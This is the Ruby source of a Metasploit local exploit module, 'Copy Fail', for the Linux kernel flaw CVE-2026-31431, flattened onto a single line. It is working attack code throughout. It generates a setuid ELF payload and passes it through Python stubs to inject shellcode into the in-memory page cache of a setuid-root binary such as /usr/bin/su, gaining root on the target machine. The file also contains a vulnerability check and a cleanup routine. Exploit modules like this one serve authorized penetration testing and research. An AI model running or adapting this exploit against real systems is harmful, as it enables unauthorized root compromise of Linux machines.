## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Post::Architecture include Msf::Post::Process def initialize(info = {}) super( update_info( info, 'Name' => 'Copy Fail AF_ALG + authencesn Page-Cache Write', 'Description' => %q{ CVE-2026-31431 is a logic flaw in the Linux kernel's authencesn AEAD template that, when reached via the AF_ALG socket interface combined with splice(), allows an unprivileged local user to perform a controlled 4-byte write into the page cache of any readable file. Because the corrupted pages are never marked dirty, the on-disk file is unchanged but the in-memory version is immediately visible system-wide, enabling local privilege escalation by injecting shellcode into the page cache of a setuid-root binary such as /usr/bin/su. The vulnerability was introduced by an in-place optimization in algif_aead.c (commit 72548b093ee3, 2017) and affects essentially all major Linux distributions shipped since then until the fix in commit a664bf3d603d. }, 'References' => [ ['CVE', '2026-31431'], ['URL', 'https://copy.fail/'], ['URL', 'https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py'], ['URL', 'https://github.com/rootsecdev/cve_2026_31431'] ], 'Author' => [ 'Xint Code', 'rootsecdev', # cleanup technique and additional PoC 'Spencer McIntyre', # metasploit module 'Diego Ledda' # metasploit module & python2.7 porting ], 'DisclosureDate' => '2026-04-29', 'License' => MSF_LICENSE, 'SessionTypes' => ['shell', 'meterpreter'], 'Targets' => [ [ # the payload is a linux command but the target must be a supported architecture (have an exec payload and # PrependSetuid support) 'Linux Command', { 'Platform' => ['linux', 'unix'], 'Arch' => ARCH_CMD, # Space is constrained due to the max size of the resulting ELF executable (2024 on 6.8.0-79-generic # x86_64, 2036 on 6.6.63-v8+ aarch64, 2028 on 5.15.44-Re4son-v7+ armv7l) if Metasploit changes the ELF # executable size in the future, this may need to be updated. The Space here is the largest size that # yeilds an ELF executable that fits all tested architectures. 'Payload' => { 'Space' => 1847, 'DisableNops' => true } } ] ], 'DefaultTarget' => 0, 'Notes' => { 'AKA' => ['Copy Fail'], 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [] } ) ) end def check stub_source = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2026-31431', 'CVE-2026-31431-check.py')) begin output = run_python_stub(stub_source) rescue Msf::Exploit::Failed => e return CheckCode::Unknown("The exploit check failed: #{e}") end last_error = nil output.split("\n").each do |line| if line.start_with?('[-] ') print_error(last_error) if last_error last_error = line[4...] elsif line.start_with?('[+] ') print_good(line[4...]) elsif line.start_with?('[*] ') print_status(line[4...]) else print_line(line) end end return CheckCode::Safe(last_error) if last_error begin result = run_command('id') rescue Msf::Exploit::Failed => e return CheckCode::Unknown("The exploit check failed: #{e}") end vprint_status("run_command('id') returned: #{result.inspect}") return CheckCode::Vulnerable('The id command returned uid=0, confirming root-level code execution') if result =~ /uid=0(\(\w+\))?/ CheckCode::Safe('The target system is not exploitable.') end def find_exec_program %w[python python3 python2.7 python2].select(&method(:command_exists?)).first end def exploit run_command(payload.encoded) end def run_python_stub(stub_source, *args) python_binary = @python_binary || find_exec_program fail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary if @python_binary.nil? vprint_status("Using '#{python_binary}' on the remote target.") @python_binary = python_binary end stub = Msf::Payload::Python.create_exec_stub(stub_source) create_process( '/bin/sh', args: ['-c', "echo #{Shellwords.escape(stub)} | exec #{python_binary} - \"$@\"", '-'] + args ) end def run_command(os_command) os_architecture = get_os_architecture unless [ ARCH_X64, ARCH_AARCH64, ARCH_ARMLE ].include?(os_architecture) # this is an artificial filter for MVP while the details for the other architectures are worked out and tested. fail_with(Failure::NoTarget, "#{os_architecture} targets are not supported.") end cmd_payload = framework.payloads.create("linux/#{os_architecture}/exec") fail_with(Failure::NoTarget, "#{os_architecture} targets are not supported.") if cmd_payload.nil? || !cmd_payload.options.key?('PrependSetuid') cmd_payload.datastore['CMD'] = os_command cmd_payload.datastore['PrependSetuid'] = true elf = cmd_payload.generate_simple('Format' => 'elf') # this is useful for determining the max size that can be written by the exploit vprint_status("Generated a #{elf.size} byte ELF executable...") print_status('Triggering the vulnerability using Python...') stub_source = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2026-31431', 'CVE-2026-31431.py')) run_python_stub(stub_source, ::Base64.strict_encode64(Zlib::Deflate.deflate(elf))) end def cleanup # cleanup technique to restore su to the original behavior courtesy of # https://github.com/rootsecdev/cve_2026_31431/blob/f288952034d0d1b21c035d178c7a485dcf6a3618/exploit_cve_2026_31431.py#L183-L187 stub_source = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2026-31431', 'CVE-2026-31431-cleanup.py')) run_python_stub(stub_source) end end